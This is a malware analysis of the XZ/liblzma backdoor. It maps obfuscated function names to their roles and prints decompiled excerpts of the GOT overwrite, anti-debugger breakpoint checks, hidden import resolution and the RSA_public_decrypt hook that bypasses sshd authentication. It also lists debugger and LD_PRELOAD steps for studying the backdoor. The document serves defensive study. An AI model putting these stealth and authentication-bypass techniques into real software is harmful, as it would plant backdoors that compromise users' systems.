jpluimers/XZ Backdoor Analysis

Init routines

Llzma_delta_props_decoder -> backdoor_ctx_save
Llzma_block_param_encoder_0 -> backdoor_init
Llzma_delta_props_encoder -> backdoor_init_stage2

Prefix Trie (https://social.hackerspace.pl/@q3k/112184695043115759)

Llzip_decode_1 -> table1
Lcrc64_clmul_1 -> table2
Llz_stream_decode -> count_1_bits
Lsimple_coder_update_0 -> table_get
- Retrieves the index of the encoded string given the plaintext string in memory
Lcrc_init_0 -> import_lookup
.Lcrc64_generic.0 -> import_lookup_ex

Anti RE and x64 code Dasm

Llzma_block_buffer_encode_0 -> check_software_breakpoint
Lx86_code_part_0 -> code_dasm

Llzma_delta_decoder_init_part_0 -> backdoor_vtbl_init
- It sets up a vtable with core functions used by the backdoor
Lstream_decoder_memconfig_part_1 -> get_lzma_allocator
Llzma_simple_props_encode_1 -> j_tls_get_addr
Llzma_block_uncomp_encode_0 -> rodata_ptr_offset
Llzma12_coder_1 -> global_ctx

ELF parsing

Llzma_filter_decoder_is_supported.part.0 -> parse_elf_invoke
Lmicrolzma_encoder_init_1 -> parse_elf_init
Lget_literal_price_part_0 -> parse_elf
Llzma_stream_header_encode_part_0 -> get_ehdr_address
Lparse_bcj_0 -> process_elf_seg
Llzma_simple_props_size_part_0 -> is_gnu_relro

Stealthy ELF magic verification

  // locate elf header
  while ( 1 )
  {
    if ( (unsigned int)table_get(ehdr, 0LL) == STR__ELF ) // 0x300
      break; // found
    ehdr -= 64; // backtrack and try again
    if ( ehdr == start_pointer )
      goto not_found;
  }

Llzma_stream_flags_compare_1 -> get_rodata_ptr

Verified or Suspected function hooking

Llzma_index_memusage_0 -> apply_entries
Llzma_check_init_part_0 -> apply_one_entry
Lrc_read_init_part_0 -> apply_one_entry_internal
Llzma_lzma_optimum_fast_0 -> install_entries
Llzip_decoder_memconfig_part_0 -> installed_func_0
Llzma_index_prealloc_0 -> RSA_public_decrypt GOT hook/detour
Llzma_index_stream_size_1 -> check_special_rsa_key -> (thanks q3k)
- Called from Llzma_index_prealloc_0, it checks if the supplied RSA key is the special key to bypass the normal authentication flow
Lindex_decode_1 -> installed_func_2
Lindex_encode_1 -> installed_func_3
Llzma2_decoder_end_1 -> apply_one_entry_ex
Llzma2_encoder_init.1 -> apply_method_1
Llzma_memlimit_get_1 -> apply_method_2

lzma allocator / call hiding

Lstream_decoder_mt_end_0 -> get_lzma_allocator_addr
Linit_pric_table_part_1 -> fake_lzma_allocator
Lstream_decode_1 -> fake_lzma_free

core functionality

Llzma_delta_props_encode_part_0 -> resolve_imports (including system())
Llzma_index_stream_flags_0 -> process_shared_libraries
- Reads the list of loaded libraries through _r_debug->r_map, and calls process_shared_libraries_map to traverse it
Llzma_index_encoder_init_1 -> process_shared_libraries_map
- Traverses the list of loaded libraries, looking for specific libraries
func @0x7620 : It does indirect calls on the vtable configured by backdoor_vtbl_init, and is called by the RSA_public_decrypt hook (func#1) upon certain conditions are met

Software Breakpoint check, method 1

This method checks if the instruction endbr64, which is always present at the beginning of every function in the malware, is overwritten. GDB would typically do this when inserting a software breakpoint

/*** address: 0xAB0 ***/
__int64 check_software_breakpoint(_DWORD *code_addr, __int64 a2, int a3)
{
  unsigned int v4;

  v4 = 0;
  // [for a3=0xe230], true when *v = 0xfa1e0ff3 (aka endbr64)
  if ( a2 - code_addr > 3 )
    return *code_addr + (a3 | 0x5E20000) == 0xF223;// 5E2E230
  return v4;
}

Function backdoor_init (0xA784)

__int64 backdoor_init(rootkit_ctx *ctx, DWORD *prev_got_ptr)
{
  _DWORD *v2;
  __int64 runtime_offset;
  bool is_cpuid_got_zero;
  void *cpuid_got_ptr;
  __int64 got_value;
  _QWORD *cpuid_got_ptr_1;

  ctx->self = ctx;
  // store data before overwrite
  backdoor_ctx_save(ctx);
  ctx->prev_got_ptr = ctx->got_ptr;
  runtime_offset = ctx->head - ctx->self;
  ctx->runtime_offset = runtime_offset;
  is_cpuid_got_zero = (char *)*(&Llzma_block_buffer_decode_0 + 1) + runtime_offset == 0LL;
  cpuid_got_ptr = (char *)*(&Llzma_block_buffer_decode_0 + 1) + runtime_offset;
  ctx->got_ptr = cpuid_got_ptr;
  if ( !is_cpuid_got_zero )
  {
    cpuid_got_ptr_1 = cpuid_got_ptr;
    got_value = *(QWORD *)cpuid_got_ptr;
    // replace with Llzma_delta_props_encoder (backdoor_init_stage2)
    *(QWORD *)cpuid_got_ptr = (char *)*(&Llzma_block_buffer_decode_0 + 2) + runtime_offset;
    // this calls Llzma_delta_props_encoder due to the GOT overwrite
    runtime_offset = cpuid((unsigned int)ctx, prev_got_ptr, cpuid_got_ptr, &Llzma_block_buffer_decode_0, v2);
    // restore original
    *cpuid_got_ptr_1 = got_value;
  }
  return runtime_offset;
}

Function Name matching (function 0x28C0)

str_id = table_get(a6, 0LL);
...
if ( str_id == STR_RSA_public_decrypt_ && v11 )
...
else if ( v13 && str_id == STR_EVP_PKEY_set__RSA_ )
...
else if (str_id != STR_RSA_get__key_ || !v17 )

Hidden calls (via `lzma_alloc`)

lzma_alloc has the following prototype:

extern void * lzma_alloc (size_t size , const lzma_allocator * allocator )

The malware implements a custom allocator, which is obtained from get_lzma_allocator @ 0x4050

void *get_lzma_allocator()
{
  return get_lzma_allocator_addr() + 8;
}

char *get_lzma_allocator_addr()
{
  unsigned int i;
  char *mem;

  // Llookup_filter_part_0 holds the relative offset of `_Ldecoder_1` - 180h (0xC930)
  // by adding 0x180, it gets to 0xCAB0 (Lx86_coder_destroy), Since the caller adds +8, we get to 0xCAB8, which is the lzma_allocator itself
  mem = (char *)Llookup_filter_part_0;
  for ( i = 0; i <= 0xB; ++i )
    mem += 32;
  return mem;
}

The interface for lzma_allocator can be viewed for example here: https://github.com/frida/xz/blob/e70f5800ab5001c9509d374dbf3e7e6b866c43fe/src/liblzma/api/lzma/base.h#L378-L440

Therefore, the allocator is Linit_pric_table_part_1 and free is Lstream_decode_1

NOTE: the function used for alloc is very likely import_lookup_ex, which turns lzma_alloc into an import resolution function. this is used a lot in resolve_imports, e.g.:

              system_func = lzma_alloc(STR_system_, lzma_allocator);
            ctx->system = system_func;
            if ( system_func )
              ++ctx->num_imports;
            shutdown_func = lzma_alloc(STR_shutdown_, lzma_allocator);
            ctx->shutdown = shutdown_func;
            if ( shutdown_func )
              ++ctx->num_imports;

The third lzma_allocator field, opaque, is abused to pass information about the loaded ELF file to the "fake allocator" function. This is highlighted quite well by function Llzma_index_buffer_encode_0:

__int64 Llzma_index_buffer_encode_0(Elf64_Ehdr **p_elf, struct_elf_info *elf_info, struct_ctx *ctx)
{
  _QWORD *lzma_allocator;
  __int64 result;
  __int64 fn_read;
  __int64 fn_errno_location;

  lzma_allocator = get_lzma_allocator();
  result = parse_elf(*p_elf, elf_info);         // reads elf into elf_info
  if ( (_DWORD)result )
  {
    lzma_allocator[2] = elf_info;               // set opaque field to the parsed elf info
    fn_read = lzma_alloc(STR_read_, lzma_allocator);
    ctx->fn_read = fn_read;
    if ( fn_read )
      ++ctx->num_imports;
    fn_errno_location = lzma_alloc(STR___errno_location_, lzma_allocator);
    ctx->fn_errno_location = fn_errno_location;
    if ( fn_errno_location )
      ++ctx->num_imports;
    return ctx->num_imports == 2; // true if we found both imports
  }
  return result;
}

Note how, instead of size, the malware passes an EncodedStringID instead

Dynamic analysis

Replace the endbr64 in get_cpuid with a jmp . ("\xeb\xfe")

root@debian:~# cat /usr/lib/x86_64-linux-gnu/liblzma.so.5.6.1 > liblzma.so.5.6.1
root@debian:~# perl -pe 's/\xF3\x0F\x1E\xFA\x55\x48\x89\xF5\x4C\x89\xCE/\xEB\xFE\x90\x90\x55\x48\x89\xF5\x4C\x89\xCE/g' -i liblzma.so.5.6.1

Force sshd to use the modified library with LD_PRELOAD

# env -i LC_LANG=C LD_PRELOAD=$PWD/liblzma.so.5.6.1 /usr/sbin/sshd -h

2b. or use this gdbinit file to do it all at once

# cat gdbinit
set confirm off
unset env
set env LD_PRELOAD=/root/sshd/liblzma.so.5.6.1
set env LANG=C
file /usr/sbin/sshd
set args -h
set disassembly-flavor intel
set confirm on
set startup-with-shell off

show env
show args

# gdb -x gdbinit
(gdb) r
Starting program: /usr/sbin/sshd -h
^C <-- send CTRL-C
Program received signal SIGINT, Interrupt.
0x00007ffff7f8a7f0 in ?? ()

Attach to the frozen process with your favourite debugger (gdb attach pid)

(gdb) bt
#0  0x00007f8cb3b067f0 in ?? () from /root/sshd/liblzma.so.5.6.1
#1  0x00007f8cb3b08c29 in lzma_crc32 () from /root/sshd/liblzma.so.5.6.1
#2  0x00007f8cb3b4ffab in elf_machine_rela (skip_ifunc=<optimized out>,
    reloc_addr_arg=0x7f8cb3b3dda0 <lzma_crc32@got[plt]>,
    version=<optimized out>, sym=0x7f8cb3b03018, reloc=0x7f8cb3b04fc8,
    scope=0x7f8cb3b3f4f8, map=0x7f8cb3b3f170)
    at ../sysdeps/x86_64/dl-machine.h:300
#3  elf_dynamic_do_Rela (skip_ifunc=<optimized out>, lazy=<optimized out>,
    nrelative=<optimized out>, relsize=<optimized out>,
    reladdr=<optimized out>, scope=<optimized out>, map=0x7f8cb3b3f170)
    at ./elf/do-rel.h:147
#4  _dl_relocate_object (l=l@entry=0x7f8cb3b3f170, scope=<optimized out>,
    reloc_mode=<optimized out>, consider_profiling=<optimized out>,
    consider_profiling@entry=0) at ./elf/dl-reloc.c:301
#5  0x00007f8cb3b5e6e9 in dl_main (phdr=<optimized out>, phnum=<optimized out>,
    user_entry=<optimized out>, auxv=<optimized out>) at ./elf/rtld.c:2318
#6  0x00007f8cb3b5af0f in _dl_sysdep_start (
    start_argptr=start_argptr@entry=0x7ffe17e402e0,
    dl_main=dl_main@entry=0x7f8cb3b5c900 <dl_main>)
    at ../sysdeps/unix/sysv/linux/dl-sysdep.c:140
#7  0x00007f8cb3b5c60c in _dl_start_final (arg=0x7ffe17e402e0)
    at ./elf/rtld.c:498
#8  _dl_start (arg=0x7ffe17e402e0) at ./elf/rtld.c:585
#9  0x00007f8cb3b5b4d8 in _start () from /lib64/ld-li
nux-x86-64.so.2
#10 0x0000000000000002 in ?? ()
#11 0x00007ffe17e40fa1 in ?? ()
#12 0x00007ffe17e40fb0 in ?? ()
#13 0x0000000000000000 in ?? ()

NOTE: _get_cpuid will call function 0xA710, whose purpose is to detect if we're at the right point to initialize the backdoor Why? Because elf_machine_rela will call _get_cpuid for both lzma_crc32 and lzma_crc64. Since the modified code is part of lzma_crc64, 0xA710 has a simple call counter in it to trace how many times it has been called, and make sure the modification doesn't trigger for lzma_crc32.

first call (0): -> lzma_crc32
second call (1): -> lzma_crc64

  if ( call_counter == 1 )
  {
    /** NOTE: some of these fields are unverified and guessed **/
    rootkit_ctx.head = 1LL;
    memset(&rootkit_ctx.runtime_offset, 0, 32);
    rootkit_ctx.prev_got_ptr = prev_got_ptr;
    backdoor_init(&rootkit_ctx, prev_got_ptr);  // replace cpuid got entry
  }
  ++call_counter;
  cpuid(a1, &v5, &v6, &v7, &rootkit_ctx);
  return v5;
}

At this point, you can issue detach and attach with other debuggers if needed.

Once attached, set relevant breakpoints and restore the original bytes ("\xF3\x0F\x1E\xFA")

breakpoint on RSA_public_decrypt hook

(gdb) find /b 0x7ffff73bf000, 0x7ffff73e8000, 0xF3, 0x0F, 0x1E, 0xFA, 0x41, 0x57, 0xB9, 0xAE, 0x00, 0x00, 0x00, 0x31
0x7ffff73d1d00
1 pattern found.
(gdb) hbreak *0x7ffff73d1d00
Hardware assisted breakpoint 1 at 0x7ffff73d1d00
(gdb) set follow-fork-mode child
(gdb) c
...

Now connect via https://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4

...
Thread 3.1 "sshd" hit Breakpoint 1, 0x00007ffff73d1d00 in ?? () from /lib/x86_64-linux-gnu/liblzma.so.5
(gdb) bt
#0  0x00007ffff73d1d00 in ?? () from /lib/x86_64-linux-gnu/liblzma.so.5
#1  0x00007ffff73d1ae7 in ?? () from /lib/x86_64-linux-gnu/liblzma.so.5 <-- Llzma_index_prealloc_0 (offset 0x48 in vtable)
#2  0x00005555556bdd00 in ?? ()
#3  0x0000000100000004 in ?? ()
#4  0x00007fffffffdeb0 in ?? ()
#5  0x00000001f74b5d7a in ?? ()
#6  0x0000000000000000 in ?? ()

RSA_public_decrypt GOT hook (Llzma_index_prealloc_0)

  /** the following happens during pubkey login **/
  
  params[0] = 1;                                // should we call original?
  // this call checks if the supplied RSA key is special
  result = installed_func_1(rsa_key, global_ctx, params); 
  // if still 1, the payload didn't trigger, call the original function
  // if 0, bypass validation
  if ( params[0] ) 
    return real_RSA_public_decrypt(flen, from, to, rsa_key);
  return result;